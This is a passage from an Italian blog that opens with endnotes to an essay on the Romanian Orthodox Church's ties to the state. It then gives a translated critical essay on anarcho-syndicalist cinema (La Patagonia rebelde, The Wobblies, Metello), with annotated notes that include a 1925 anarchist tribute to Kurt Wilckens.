20Per rispondere alle richieste della Chiesa Ortodossa che intendeva fermare le attività delle minoranze religiose presenti in Romania, il segretario di Stato Gheorghe Anghelescu ha emesso, il 25 Marzo 1997, una circolare dove si chiedeva ai comuni di annullare o rifiutare le autorizzazioni per la costruzione di luoghi di culto di quelle comunità religiose non riconosciute (molte delle quali registrate come associazioni). Le autorità locali hanno prontamente eseguito ciò che era stato richiesto da questa circolare, nonostante la flagrante violazione delle garanzie costituzionali relative alla libertà religiosa (che include anche il diritto di beneficiare di tali luoghi di culto).
21Secondo le indagini dell’autore, l’iter è partito nell’Ottobre 1999. In seguito il progetto venne ritirato a causa di proteste interne e internazionali.
22Ha ricevuto medaglie e onorificenze di Stato; è diventato membro onorario dell’Accademia Rumena; è stato insignito di onorificenze da diverse associazioni professionali. Il Ministro della Cultura gli ha conferito la medaglia Eminescu mentre il Partidul Național Țărănesc Creștin Democrat (trad.: Partito Nazionale Contadino Cristiano Democratico) gli ha assegnato la medaglia giubilare etc.
24«Dato che la Chiesa ortodossa rappresenta l’87% della popolazione del Paese, sarebbe normale che essa avesse rappresentanti ecclesiastici in tutte le strutture di governo del Paese».(«La corsa al potere» in «Evenimentul zilei», 28 Aprile 2000, p. 6).
26La prova più evidente della collaborazione tra il clero ortodosso e i legionari fu la processione in occasione dei funerali dei leader legionari Moța e Marin, nel Febbraio1937. Durante la processione officiarono decine di ecclesiastici, mentre la funzione religiosa principale fu celebrata da oltre 200 sacerdoti, guidati dal metropolita della Transilvania Nicolae Bălan, e da altri vescovi e vicari (Gabriel Catalan, La Legione e i ministri del Signore, in «Dosarele istoriei», n. 9, 2000, pp. 29-32).
27Quali Dumitrescu-Borșa, Vasile Boldeanu e Ștefan Palaghiță.
31Un solo gerarca aveva ammesso apertamente, dopo la rivoluzione del 1989, la collaborazione col regime comunista: il metropolita del Banat, Nicolae Corneanu. Questi ammise la destituzione di cinque sacerdoti della Metropolia del Banat – i quali nel 1981 avevano rimproverato la «prostituzione della Chiesa Ortodossa»,; la cooperazione con il Metropolita di Ardeal, Antonie Plămădeală nel denigrare, dinanzi al Consiglio Ecumenico delle Chiese, alcuni ecclesiastici oppositori del regime comunista; le relazioni presentate alla Securitate.
32Lo dimostrano tutti i sondaggi d’opinione successivi al 1990
33Come termine di paragone aggiungiamo il Parlamento, istituzione fondamentale della democrazia (Fondazione per una Società Aperta, Barometro dell’Opinione Pubblica, Maggio 2001, Bucarest, http://www.osf.ro).
34Il grado di osservanza delle pratiche religiose può essere valutato sulla base dello stesso sondaggio d’opinione (Maggio 2001). Sono stati rilevati i seguenti dati: coloro che frequentano la chiesa quotidianamente sono il 2%; quelli che ci vanno alcune volte alla settimana è il 15%; una volta al mese o meno è il 33%; più volte al mese è il 40%. Il 53% degli intervistati afferma di credere nella vita dopo la morte, il 65% nel giudizio universale e l’88% nel potere della preghiera.
35In un volume di rilevanza ideologica, dedicato al rapporto tra Esercito e Chiesa (Ilie Manole, a cura di, L’Esercito e la Chiesa, Bucarest, Collana «Rivista di Storia Militare», 1996), il comandante Ilie Manole intitolava così un capitolo: «L’Esercito e la Chiesa, istituzioni fondamentali dell’unità e della continuità rumena»: «Abbiamo adesso questo primo libro sull’opera eroica, profonda, ininterrotta e utile che l’Esercito e la Chiesa hanno posto per le fondamenta della nostra Casa, chiamata oggi Romania. Ora e nei secoli dei secoli, siano benedetti tutti: il Libro (inteso come Bibbia, ndt), la Croce, la loro opera e il focolare, in cui essi coesistono con lo scudo» (p. 6); «La Croce e la Spada, la Bandiera e il Vangelo devono convivere. La Chiesa e l’Esercito devono unirsi e dare il proprio contributo a lungo termine alla formazione delle grandi personalità di cui ha bisogno il nostro popolo e la società rumena» (p. 263). Il rappresentante della Chiesa ortodossa rumena, Daniel Ciubotea, metropolita di Moldavia e Bucovina, identifica le due istituzioni come garanti dell’unità dello Stato rumeno: «la cooperazione tra l’Esercito e la Chiesa è un fattore di promozione dell’unità nazionale.» (p. 10)
36All’interno della Chiesa ortodossa esiste un ordine quasi militare.
37È significativo che lo Stato rumeno abbia compiuto una dimostrazione simbolica nella regione con massima prevalenza ungherese – la contea di Harghita: 84,5% di ungheresi –, insediando un corpo d’armata e una diocesi ortodossa (Diocesi di Harghita e Covasna) nel 1998.
38Le arcidiocesi di Tomis e Suceava, la diocesi di Caransebeș e le diocesi di Huși, Argeș e Maramureș.
39L’arcidiocesi di Târgoviște, la diocesi di Călărași e Slobozia, la diocesi di Giurgiu, la diocesi di Alexandria e Teleorman e la diocesi di Harghita e Covasna.
40Nicolae Boroiu, «Studio sul sostegno della leadership della Chiesa Ortodossa Rumena al nazionalcomunismo e al fondamentalismo ortodosso», 2001, inedito.
41Nota del blog. È utilizzato in molte Chiese cristiane per indicare una circoscrizione amministrativa o religiosa. Il corrispondente titolo spettante al suo capo è Eparca o vescovo. Fonte: Eparchia. Link
42Precisamente a Slobozia, Miercurea Ciuc, Târgoviște, Alexandria, Turnu Severin e Slatina.
43Anche quelle di recente fondazione che non hanno mai posseduto terreni, parrocchie e monasteri antichi e nuovi,
44Solo per la costruzione del nuovo Seminario teologico di Bucarest sono stati stanziati di recente (Gennaio 2002) circa 1,5 milioni di dollari. La Chiesa della Salvezza del Popolo costerà, secondo le stime di alcuni architetti, oltre 1 miliardo di dollari, e la Chiesa Ortodossa Rumena intende ottenere il sostegno dello Stato, indipendentemente dall’impatto economico che ciò potrebbe comportare.
45In proporzioni variabili da Stato a Stato. Un’evoluzione simile si sta verificando nella Federazione Russa, dove la Chiesa Ortodossa è onnipresente nella vita dello Stato.
La Patagonia rebelde (1974) di Hector Olivera – trasposizione cinematografica di uno degli episodi più tragici della storia dell’anarco-sindacalismo argentino -, e The Wobblies (1979) di Stewart Bird e Deborah Shaffer – un documentario che rende omaggio all’eredità dell’IWW -, condividono un impulso ideologico simile. Entrambi i film mostrano un affetto nostalgico per una solidarietà militante che sembra essersi erosa nel contesto contemporaneo dove il sindacalismo è identificato con le organizzazioni burocratiche (AFL–CIO e l’International Brotherhood of Teamsters.1)
Scena tratta dal film “La Patagonia rebelde”
La Patagonia rebelde riconosce apertamente il debito del movimento operaio argentino verso l’anarco-sindacalismo. Il film di Olivera sintetizza la tradizione del thriller politico,2 inaugurata da Francesco Rosi,3 con elementi di genere in gran parte derivati dai western e dai “film gaucho.”4 Il risultato è una narrazione in cui l’agenda ideologica appare intrigantemente distorta.
Prodotto in un momento storico turbolento per l’Argentina – e che da lì a poco sarebbe passata verso una severa repressione statale -, il film potrebbe essere visto come un’esortazione allegorica dei giorni di gloria degli anni Venti.
Al contrario, la conclusione pessimistica di Olivera, che descrive accuratamente la brutale strage di millecinquecento scioperanti e leader anarco-sindacalisti da parte dei militari durante lo sciopero della Patagonia del 1921, offre poche speranze per un ringiovanimento dell’anarco-sindacalismo negli anni ’70. Il periodo che va dal 1973, quando La Patagonia rebelde venne girato sotto l’egida della casa di produzione di Olivera, al 1974, quando il film fu soppresso da un governo meno tollerante – nonostante avesse riscosso un notevole successo al botteghino -, è similare a quello raccontato dal film stesso riguardo il passaggio avvenuto dal liberalismo ipocrita all’autoritarismo palese.
Ad esempio, la Confederación General del Trabajo de la República Argentina (CGT), costituita negli anni ‘30, era un sindacato vagamente socialdemocratico che conservava alcune tracce del sindacalismo militante fiorito negli anni ‘20. Ma quando nel 1974 il regime di destra di Isabel Perón sostituì quello leggermente più tollerante del marito, lo Stato decise di sradicare ogni traccia di opposizione di sinistra.
Dennis West osserva che «nel periodo d’oro del Cinema Novo brasiliano, il governo permetteva la proiezione di film sovversivi ma allegorici, presumibilmente perché potevano essere compresi o attrarre solo una manciata di intellettuali.»5 Tuttavia, West conclude che la rievocazione delle lotte passate da parte di Olivera fosse una provocazione eccessiva per i peronisti argentini reazionari – i quali esercitavano un potere altrettanto forte. L’importanza di questo film deriva dalla sua peculiare fusione di elementi populisti e radicali. In quanto esempio di cinema del Terzo Mondo, non si conforma alle formule “decostruttive” rigide proposte da alcuni critici. Tuttavia, la sua accessibilità non implica alcuna capitolazione all’ideologia dominante. La Patagonia rebelde si apre con un flash-forward in cui un anarchico lancia una bomba contro il tenente colonnello Zavala, l’emissario del governo che ha orchestrato la repressione contro la leadership anarco-sindacalista e il massacro in Patagonia. Il film impiega sottilmente figure composite per rappresentare personaggi storici reali, e questa sequenza iniziale rielabora l’omicidio compiuto da Kurt Wilckens (un anarchico tedesco che in origine era stato, ironia della sorte, un pacifista tolstojiano; la sua complessa discendenza politica non è menzionata nel film) ai danni dello spietato colonnello Varela, trasformando l’atto in un ritratto vagamente romanzato di vendetta disperata.6
Copertina del supplemento de La Protesta, “Causas y efectos. La tragedia de la Patagonia y el gesto de Kurt Wilckens,” a. VIII, n. 299, 31 Gennaio 1929
Come dimostra Osvaldo Bayer nella sua vivace biografia di Severino di Giovanni,7 la quasi totale eradicazione del movimento anarco-sindacalista da parte dell’élite argentina costrinse gli anarchici disperati ad adottare tattiche sempre più violente. L’anarco-sindacalismo si è spesso rivelato una tendenza controversa all’interno dello stesso anarchismo, poiché molti anarco-comunisti, in particolare Petr Kropotkin, sostenevano frequentemente che l’orientamento sindacalista fosse suscettibile a strategie riformiste che avrebbero ostacolato la trasformazione sociale. Gli anarco-sindacalisti di principio come Rudolf Rocker risposero a questi avvertimenti, sostenendo che la struttura decentralizzata dei singoli sindacati prefigurasse i contorni di una società post-rivoluzionaria.8
Dall’inizio de La Patagonia rebelde alla sua amara conclusione, Olivera sottolinea l’evidente divisione tra gli anarco-sindacalisti: da una parte gli intellettuali che promuovono, a livello teorico, ciò che Rocker definiva lo «sciopero sociale» — un intervento volto alla «protezione della comunità contro le conseguenze più perniciose del sistema attuale»9 —, dall’altra gli organizzatori che tentano attivamente di realizzare un evento catalitizzatore di questo tipo.
Olivera illustra questa opposizione tra pensatori e uomini d’azione attraverso l’antagonismo fraterno dei vecchi idealisti anarchici. Lo spagnolo Graña e il burbero, e alla fine martirizzato, bakuninista tedesco Schultz si scontrano energicamente con i loro compagni altrettanto altruisti ma più pragmatici – in particolare il giovane spagnolo Antonio Soto. Sebbene Schultz e Soto diventino compagni inseparabili, uno dei pochi momenti comici del film è una riunione sindacale in cui Graña viene rimproverato per aver blaterato sui classici anarchici e gli viene detto di riservare la sua esegesi per l’incontro dedicato alle questioni teoriche. Nonostante queste battute scherzose rivolte agli ideologi loquaci, La Patagonia rebelde condivide la malinconica speranza di Schultz per un “paradiso terrestre,” che appare come un obiettivo sempre più sfuggente man mano che il film procede. L’opera cinematografica è uno dei pochi esempi di cinema anarchico che esamina un’alleanza tra lavoratori urbani e rurali e, mentre Olivera sposta la sua narrazione da Buenos Aires a Rio Gallegos, lo stile cinematografico assume un ritmo frenetico che rivaleggia con gli spaghetti western di Leone; lo stile di montaggio a scatti ricorda in qualche modo Bonnie and Clyde (1967) di Arthur Penn. Mentre la prima parte del film impiega uno stile classico e sobrio (principalmente primi piani e inquadrature a due) per rafforzare la precaria alleanza tra la “bandiera nera dell’anarchia e la bandiera rossa del sindacalismo”, le sequenze dedicate allo scontro tra i militari e l’“Associazione dei Lavoratori Liberi” della Patagonia presentano zoom, rapidi movimenti della [macchina da presa] sul carrello e un uso sapiente del montaggio.
Il campo lungo dell’esercito che brandisce le armi spinge lo spettatore a considerare gli anarchici come vittime indifese. Il film è limitato da una traiettoria narrativa un po’ meccanicistica dove lo status degli oppressi-vittime è inalterabile; in ultima analisi il governo e i militari, nonostante le loro intenzioni malvagie, sono più astuti degli scioperanti. Sorprendentemente l’odioso Zavala è uno dei personaggi psicologicamente più complessi del film. La sua trasformazione da conciliatore pragmatico a spietato autocrate è presentata in modo più lucido rispetto al pensiero, a tratti confuso, dei leader sindacalisti. In larga misura, la discesa di Zavala verso l’approvazione dello spargimento di sangue rispecchia le politiche del regime apparentemente “liberale” del presidente argentino Yrigoyen durante gli anni ’20 (questo leader “riformista” approvò diversi massacri di lavoratori durante una presidenza ignominiosa) e prefigura il pseudo-riformismo altrettanto incoerente dei peronisti.
Le acque ideologiche si confondono ulteriormente in diverse sequenze dove compaiono dei criminali comuni – il sedicente “Consiglio Rosso”, che tenta di infiltrarsi nel movimento anarco-sindacalista. La sua presenza in Patagonia fornisce al governo di Buenos Aires una comoda scusa per una politica di brutale repressione. Questi invadenti agenti provocatori non sono dissimili dai pistoleros, le cui tattiche di disturbo si sono rivelate debilitanti nel corso della storia del movimento anarchico spagnolo. Tuttavia, i chiassosi membri del Consiglio Rosso sono, forse, giustamente turbati dal puritanesimo radicato degli anarco-sindacalisti. Quando Schultz inveisce contro gli effetti deleteri dell’alcol, un chiassoso membro del Consiglio Rosso osserva che gli anarchici «sembrano preti». Come i loro compagni spagnoli, i sindacalisti argentini univano la militanza a un regime personale ascetico. Non è chiaro se Olivera stia affermando il loro credo laico o commenti indirettamente la repressione statalista che avrebbe segnato la storia argentina nei successivi sessant’anni. Soto sopravvive ai massacri imminenti fuggendo a cavallo, mentre Schultz è una delle tante vittime del regime.
Sebbene gli obiettivi sindacalisti non siano identici all’agenda anarchica generale, la maggior parte degli anarchici, almeno fino a poco tempo fa, sarebbero stati concordi con la frase del sindacalista francese Fernand Pelloutier, secondo cui «l’emancipazione della classe operaia deve essere fatta attraverso l’auto-emancipazione e che tale emancipazione deve essere raggiunta attraverso la creazione di istituzioni controllate e organizzate dai lavoratori stessi – dalle quali avrebbero ottenuto l’educazione morale e tecnica adeguata per una futura società senza padroni.»10
Passare da La Patagonia rebelde a un documentario americano sull’IWW potrebbe sembrare un notevole salto spazio-temporale; ma c’è sempre stata una discreta quantità di contaminazione internazionale all’interno delle file degli anarco-sindacalisti. Benjamin Martin, ad esempio, ipotizza che il segno distintivo “one big union” dell’IWW fosse senza dubbio «ben noto ai sindacalisti di Barcellona e potrebbe essere stato all’origine del termine sindicato único.»11
L’IWW, uno dei pochi sindacati americani impegnati, nonostante le numerose difficoltà, per l’auto-emancipazione dei lavoratori, compì uno sforzo notevole per creare una “nuova società all’interno del guscio di quella vecchia”. La trilogia U.S.A. di John Dos Passos contribuì a diffondere l’immagine dei Wobblies come fusione tra il radicalismo e l’individualismo americano per antonomasia. Dopo la scomparsa del sindacato, Hollywood rese spesso un tributo ambivalente alla sua eredità, alludendo ai Wobblies con condiscendente stupore. Quando divenne evidente che il sindacato, un tempo temuto, non sarebbe risorto, il cinema hollywoodiano colse la palla al balzo nel riesumare i ricordi degli amabili Wobblies. Hallelujah, I’m A Bum (1933) di Lewis Milestone, ad esempio, prende il titolo da una canzone dei Wobblies – che in questo caso è privata delle sue implicazioni radicali. Molti anni dopo, Hammett (1982) di Wim Wenders, un fantasioso resoconto dei primi anni dello scrittore di gialli hard-boiled, ritraeva un Wobbly anziano e innocuo e accattivante. Eli (interpretato da Elisha Cook Jr), un tassista burbero ma affabile, viene salutato dal personaggio principale – ex agente della Pinkerton e futuro membro del Partito Comunista – come “l’ultimo degli organizzatori dell’IWW”. Eli risponde in un modo che deve aver sconcertato i fan in gran parte apolitici di Wenders: “in realtà sono un anarchico con tendenze sindacaliste.”
Scena tratta dal film-documentario “The Wobblies”
The Wobblies (1979) di Stewart Bird e Deborah Shaffer è un film molto più serio, un documentario che cerca di far rivivere i ricordi storici di un’epoca dove il sindacalismo conviveva con la possibilità di un’insurrezione operaia. (Il film di Bird e Shaffer non perde tempo nel raccontare la storia apocrifa del soprannome Wobbly — presumibilmente derivato dalla pronuncia errata dell’acronimo dell’organizzazione da parte di un proprietario di un ristorante cinese-americano). Sebbene The Wobblies sia notevolmente più radicale di qualsiasi cosa immaginata da Hollywood, è problematico perché non riconosce l’ispirazione anarco-sindacalista che ha guidato l’IWW sin dalla sua fondazione nel 1905 (il sindacato è adesso una piccola setta; il film trascura di menzionare che l’IWW esista ancora anche se in una forma meno visibile). Bird e Shaffer hanno semplicemente affermato che «[l’IWW] fosse uno degli argomenti di cui le persone trovavano estremamente difficile parlare… Ogni volta che veniva fuori quel tipo di argomento, calava un velo di silenzio, il che ci causava molta frustrazione.»12
Sebbene fosse indubbiamente vero che i Wobblies, ormai anziani, trovassero difficile parlare dei dibattiti interni — e la riluttanza dei registi a riportare tali dibattiti nella loro voce fuori campo non può certamente essere attribuita alla malafede —, la mancata enfasi sulle componenti anarchiche e anarco-sindacaliste – che sono state un aspetto estremamente vitale dell’eredità dell’IWW -, si traduce in una serie di strane lacune in tutto il documentario.
Il fatto che i leader Wobblies come William “Big Bill” Haywood, Lucy Parsons ed Elizabeth Gurley Flynn abbiano percorso una strada pericolosa e, agli occhi di molti, tragica, dall’anarco-sindacalismo de facto alla torta di mele stalinista 13 del Partito Comunista degli Stati Uniti, viene completamente ignorato da Bird e Shaffer.
Questa negligenza sulle sfortunate realtà politiche non è intenzionale; è, però, indissolubilmente legata alle strategie narrative diventate sempre più popolari nei documentari americani che, tra la fine degli anni ’70 e l’inizio degli anni ’80, hanno cercato di emulare le tecniche della storia orale. Film come The Wobblies, Seeing Red (1984) e The Good Fight intrecciano le interviste tra i partecipanti anziani dei movimenti radicali, filmati d’archivio e una narrazione fuori campo contenuta. Questo stile, quasi stereotipato, presenta numerosi vantaggi: gli anziani radicali sono spesso attraenti e un approccio sintetico consente una panoramica informativa su argomenti che raramente, se non mai, sono stati affrontati nel cinema mainstream. Un pubblico, ignaro di come negli ultimi cento anni i lavoratori ribelli abbiano costantemente scoperto alternative radicali al sindacalismo convenzionale, può conoscere la storia nascosta dell’America in una forma insolitamente accessibile.
Eppure proprio l’accessibilità – o la consumabilità, per usare un termine più dispregiativo –, di questi film indica la debolezza intrinseca [di The Wobblies e] del rifiuto educato di Bird e Shaffer nello smuovere le acque e fornire così un resoconto storico dell’IWW che ne abbracci la complessità. Il fatto che una New Left14 invecchiata non volesse riaprire antiche ferite, né smascherare, al contempo, come la Old Left fosse lacerata da lotte interne feroci quanto quelle avvenute negli anni ’60, dimostrava come l’esaurimento dell’energia radicale alla fine degli anni ’70 generasse un desiderio di un passato sereno e monolitico. Il rifiuto dell’auto-riflessione in un film come The Wobblies non è semplicemente il prodotto di un conservatorismo stilistico che alcuni critici hanno trovato carente. Tale modo di fare ha permesso ai registi nostalgici di costruire la propria versione del Fronte Popolare – dove le differenze vitali tra anarchismo, liberalismo, stalinismo e trotskismo svaniscono mentre gli spettatori rimangono rassicurati da un caldo bagliore avvolgente. Non c’è bisogno di approvare le preferenze estetiche di Noel King per ammettere che la feticizzazione dell’autenticità personale e dell’umanesimo etico nostalgico – che egli individua nel film Union Maids (1977) -, sia evidente anche in The Wobblies.15
È vero che The Wobblies include una frase del boscaiolo Tom Scribner sulle furibonde dispute tra anarchici e bolscevichi del Pacifico nord-occidentale riguardo la notizia della Rivoluzione russa giunta ai membri dell’IWW. Tuttavia, si tratta solo di un riferimento aneddotico su una scissione dalle conseguenze di vasta portata. La decisione di Bird e Shaffer di limitare la loro panoramica sull’IWW al periodo precedente al 1917, evita il mutevole rapporto dell’organizzazione con il Partito Comunista e trascura la partecipazione degli anarco-sindacalisti.16 Certo, The Wobblies rende un servizio informando il pubblico che l’IWW fosse l’unica setta radicale nella prima parte del ventesimo secolo ad accogliere gli afroamericani tra le sue file a braccia aperte – e il film mette in risalto i ricordi di un Wobbly nero, James Fair. Tuttavia, il film trascura completamente di menzionare una donna di colore come Lucy Parsons che è stata tra le fondatrici dell’IWW e, a quanto si dice, un’oratrice potente quanto Big Bill Haywood o Elizabeth Gurley Flynn. È possibile che i registi fossero riluttanti a mettere in risalto i contributi della Parsons perché il suo successivo stalinismo la rese un paradigma tutt’altro che esemplare della militanza nera del ventesimo secolo?
Una sequenza dedicata allo sciopero tessile di Lawrence (Massachusetts) del 1912, illustra sia i punti di forza che le debolezze della storiografia divulgativa dei Wobblies. Bird e Shaffer presentano le interviste fatte a Angelo Rocco, uno dei Wobblies sopravvissuti – un uomo ormai anziano che all’epoca dello sciopero aveva diciannove anni. I suoi ricordi dello sciopero sanguinoso riescono a fornire una testimonianza commovente di un’epoca meno cinica e più militante. Le interviste sono intervallate dalle riprese dei murales di Ralph Fasanella che commemorano lo sciopero; la sincerità della sua arte popolare la protegge dal kitsch. Si fa riferimento anche a Joseph Ettor e Arturo Giovannitti, due leader dell’IWW falsamente accusati, in un processo farsa, di cospirazione (seminare il caos nelle fabbriche) e incitamento a commettere omicidi
Eppure Bird e Shaffer, che introducono questa sequenza con filmati d’archivio di immigrati che affrontano i rigori della terza classe, considerano lo sciopero di Lawrence importante soprattutto per il suo ruolo emblematico – un caso di studio che illustra la crescente partecipazione al movimento operaio radicale di questi lavoratori appena arrivati [negli Stati Uniti]. Sebbene il contributo sindacalista degli italo-americani sia innegabilmente importante, il film evita di affrontare le questioni strategiche cruciali che preoccupavano la base dopo la conclusione relativamente positiva dello sciopero. Le rivendicazioni industriali locali sono importanti per promuovere le riforme, ma possono mai innescare una rivoluzione sociale che abolisca il lavoro salariato? La struttura di un sindacato dovrebbe essere decentralizzata per incoraggiare l’azione diretta spontanea, o una struttura organizzativa più rigida può determinare meglio quando l’agitazione è appropriata?17
Queste polemiche sono state apparentemente considerate troppo astratte per un pubblico generale e forse avrebbero sminuito gli sforzi dei registi nel dipingere i Wobblies come eroi americani semplici e autoctoni. Nonostante la tolleranza dell’IWW per l’azione diretta ingegnosa, l’andamento dello sciopero di Lawrence fu determinato dai lavoratori stessi, non dalla leadership – per quanto decentralizzata potesse essere. Eppure The Wobblies rende omaggio a un sindacato e ignora il rapporto tra le esigenze della base e i dettami dell’organizzazione.
La decisione dei registi di ingaggiare Roger Baldwin (che guidava l’American Civil Liberties Union (ACLU) e accettò di espellere la comunista Elizabeth Gurley Flynn dall’organizzazione) come narratore del film, diventa una componente essenziale della semplicità cauta di questo documentario. Come lo storico Shelby Foote, narratore-protagonista di The Civil War di Ken Burns, Baldwin narra con un fascino burbero. La scelta di The Wobblies di puntare sul fascino piuttosto che sulla complessità lo rende un film ben intenzionato ma lontano dall’essere definitivo. Bird e Shaffer trascurano completamente, ad esempio, l’affascinante alleanza tra gli intellettuali del Greenwich Village, in particolare John Reed e Mabel Dodge, e i lavoratori della seta di Paterson durante lo sciopero del 1913. In un’epoca dove l’avanguardia sembra aver reciso i propri legami con l’attivismo politico, le implicazioni dello spettacolo organizzato dai lavoratori della seta al Madison Square Garden (con l’aiuto di molti artisti e intellettuali) sembrerebbero un argomento ovvio da esplorare.18
Valutare i punti di forza e di debolezza di The Wobblies ci costringe a considerare il paradosso secondo cui alcune fazioni del movimento anarchico vogliono recuperare la zelante promozione dell’IWW di “un unico grande sindacato” (sostenuta da riviste come Libertarian Labor Review e Ideas and Action), mentre altre voci anarchiche, altrettanto influenti, considerano retrograda l’ossessione del sindacato sull’organizzazione puramente industriale. Eppure, all’inizio degli anni ’90, l’anarchico “neo-individualista” Hakim Bey, noto per i suoi manifesti lirici che promuovevano l’istituzione di “zone autonome temporanee”, difese con vigore la sua decisione di aderire alla sezione newyorkese degli artisti e degli scrittori dell’IWW. Bey ha affermato che «sebbene ci opponiamo all’idea del costrutto sociale ‘lavoro’… siamo ben lontani dall’opporci ai lavoratori,» sfidando poi «l’IWW a ampliare i propri orizzonti oltre la coscienza di classe, proprio come noi sfidiamo i punk (o gli ambientalisti) a diventare più consapevoli della classe, del lavoro e della storia anarchica.»19 Se si riuscisse a costruire un ponte tra queste correnti anarchiche disparate, forse il film di Bird e Shaffer non sarebbe più considerato un mero esercizio di nostalgia di sinistra.
Scena tratta dal film “Metello”
Proprio come l’IWW poteva paradossalmente incarnare le aspirazioni sindacaliste e quelle “anti-lavoro,” molti film, la maggior parte dei quali realizzati da esponenti della sinistra non anarchica, celebrano i movimenti operai radicali mettendo,al contempo in discussione la sacralità del lavoro. Metello (1970) di Mauro Bolognini,20 ad esempio, racconta la conversione di un operaio italiano dall’anarchismo al socialismo militante durante gli anni Ottanta del diciannovesimo secolo. Sebbene l’omonimo protagonista si affezioni più a Marx che a Bakunin, la sua predilezione per gli scioperi selvaggi assomiglia molto alle aspirazioni dei sindacalisti di fine Ottocento. Eppure, durante lo sciopero culminante del film, un collega di Metello osserva che preferirebbe non lottare per il discutibile “diritto al lavoro.” Questa osservazione estemporanea mette in discussione la sacralità del lavoro insita nell’agenda produttivista del socialismo e dell’anarco-sindacalismo – nonostante Metello evochi un momento della storia italiana dove il socialismo e le rivendicazioni del sindacalismo riformista stavano soppiantando il precedente movimento di massa anarchico. Betto Lambretti, un anziano militante anarchico, è l’incarnazione scoscesa dell’altruismo puro nel film. Ma Bolognini e lo sceneggiatore Suzo Cecchi D’Amico lo ritraggono come una reliquia del passato, nobile seppur eccentrica. Metello “rende omaggio agli anarchici”, ma li considera puristi – il cui idealismo è stato sommerso dalla marea della storia (esemplificata dalla realpolitik sindacalista).
Continua…
Note
1Nota del blog. Nel caso italiano abbiamo i sindacati confederali quali CGIL, UIL e CISL
2Nota del blog. I film “thriller politici” sono un sottogenere cinematografico che unisce la tensione e il ritmo serrato del thriller con le dinamiche oscure del potere. Esplorano cospirazioni, spionaggio e lotte istituzionali, analizzando come le decisioni di governi e multinazionali influenzino la vita dei singoli individui e della società.
3Nota del blog. Porton si riferisce ai seguenti film di Rosi: Salvatore Giuliano (1962), Le mani sulla città (1963), Il caso Mattei (1972), Cadaveri eccellenti (1976). Riguardo altri “thriller politici” italiani segnaliamo Elio Petri, A ciascuno il suo (1967) e Todo modo (1976), Roberto Faenza, H2S (1969), e Corrado Farina, …hanno cambiato faccia (1971).
4Nota del blog. Come spiega Carolina Rocha, i “gaucho films” o “cinematografia gauchesca” erano incentrati sugli abitanti rurali della pampa e rappresentati come precursori della nazione argentina. A partire dal 1968 – periodo in cui vi era la dittatura di Juan Carlos Onganía -, le case di produzione cinematografiche, incoraggiate dalla Legge 16995 (che classificava i film come produzioni «A» (di alta qualità) o «B» (di qualità inferiore)) e dalla retorica del “ser nacional” (trad.: essere nazionale), produssero «diversi film che rappresentavano il passato nazionale come mezzo per rafforzare l’identità argentina.» (C. Rocha, Argentine cinema and national identity (1966-1976), Liverpool University Press, Liverpool, 2018, p. 74). «Questo interesse per il passato,» spiega Rocha, «mirava a rafforzare l’identità nazionale argentina, soprattutto in un momento in cui l’Argentina si sforzava di mantenere la propria indipendenza finanziaria e culturale. I tumultuosi avvenimenti politici che hanno caratterizzato l’Argentina negli anni ’60 hanno certamente suscitato preoccupazioni riguardo l’identità del paese e il suo ruolo tra le altre nazioni.» (op. cit., p. 76)Questo stato di cose, quindi, ha influito sulla produzione cinematografica argentina: «da un lato, la rappresentazione dello stile gauchesco in un’epoca in cui il discorso ufficiale argentino sottolineava la modernizzazione […]; dall’altro, il ritorno al passato autoctono era uno degli obiettivi dei movimenti di decolonizzazione e di liberazione dei primi anni ’60.» (ibidem)
5Vedere Dennis West, recensione de Rebellion in Patagonia, Cineaste 10, no. 1 (Winter1979–1980): 50–52.
6Nota del blog. Sulle vicende della Patagonia rebelde, Gustav Wilckens e la morte di Varela, si vedano: Diego Abad de Santillán, LA FORA. Ideología y trayectoria del movimiento obrero revolucionario en la Argentina, Libros de Anarres, Buenos Aires, 2005, pp. 267-268; Causas y efectos. La tragedia de la Patagonia y el gesto de Kurt Wilckens, La Protesta. Suplemento Quincenal, a. VIII, n. 299, 31 Gennaio 1929. Riportiamo per intero l’articolo Wilckens di Severino Di Giovanni, pubblicato su Culmine. Rivista anarchica, a. I, n. 1, 1 Agosto 1925: «Ricordiamolo in tutti gli attimi della sua laboriosa ed eroica vita; ricordiamolo oscuro milite nella lontana terra tedesca nel seno delle miniere della Ruhr e rivoltoso incitatore alla ribellione, nello stato della Virginia. Oscuro senza nome nei lavori della demolizione, radioso nell’opera colossale realizzata. Giustiziere cosciente ed umano, sprezza la sua vita nobile per salvare una bimba che incoscia corre pericolo e benchè sfragellato, nella possanza costante di punire il carnefice, dopo avergli tirato una bomba, gli scarica addosso anche diversi colpi della sua rivoltella. Così, bello e terribile, buono e vendicatore, lo ricordiamo ancora una volta in questo secondo anniversario della sua tragica scomparsa. Gloria, o Kurt Wilckens, eroico valoroso! Anche noi, falange ribelle di minatori, che nel ventre buio dell’umanità battiamo le ferree pareti del pregiudizio con il piccone demolitore, alla luce flebile di una lampada che man mano all’aumento del cibo spande più radiosa la sua luce, non possiamo tralasciare di gettare in quest’antro pauroso e nero la nostra voce metallica, se non altro per fare risentire l’eco non sorso, ma squillante tutto in un maschio risveglio. E se quest’anno la protesta piazzaiuola non ha rintronato agli orecchi dei superstiti carnefici dei 1500 proletari trucidati nelle lontane terre di Santa Cruz, non per questo la innumerevole schiera dei senza nome, che in quelle regioni hanno vissuto giorni di terrore raccapricciante e che sopravvissuti alla immensa ecatombe ordinata dal colonnello Ettore Varela alle sue genti ubbriache di odio, di vino e di sangue, dimenticheranno il loro vendicatore, il generoso Wilckens. Tremino tutti gli autori di quell’orgia di sangue, ludibrio e vergogna di questa terra…democratica che diede i natali a Bernardino Rivadavia. Essi, gli scampati, spettri viventi, ridotti dal vostro terrore nella più squallida miseria, in questi giorni in omaggio al giustiziere di Varela si mescoleranno con tutti i loro fratelli di passione e sventoleranno in alto al di sopra di tutto, la vera bandiera della rivolta umana. Kurt Wilckens nacque nell’anno 1887 in uno dei sobborghi di Amburgo (Germania). Minatore di mestiere, nelle gallerie sotterranee, onde lavorava per procacciarsi i mezzi del suo sostentamento, ai colpi sfibranti del piccone incominciò a sbocciargli in petto il fiore dell’Ideale anarchico ed a esso si donò tutto fino al sublime sacrificio. Propagandista sincero ed esuberante alla causa si mostrò attivissimo raccogliendo le sue forze, unendo sempre l’entusiasmo che sapeva comunicare a tutti quanti gli oppressi che a lui si avvicinavano, concentrava tutta la sua persona e le sue belle doti ad opere che egli riteneva ottime ed utili al di fuori di ogni bizantinismo. Tale in tutte le sue manifestazioni, conoscitore profondo del movimento e della dottrina anarchica, lo sostenne con 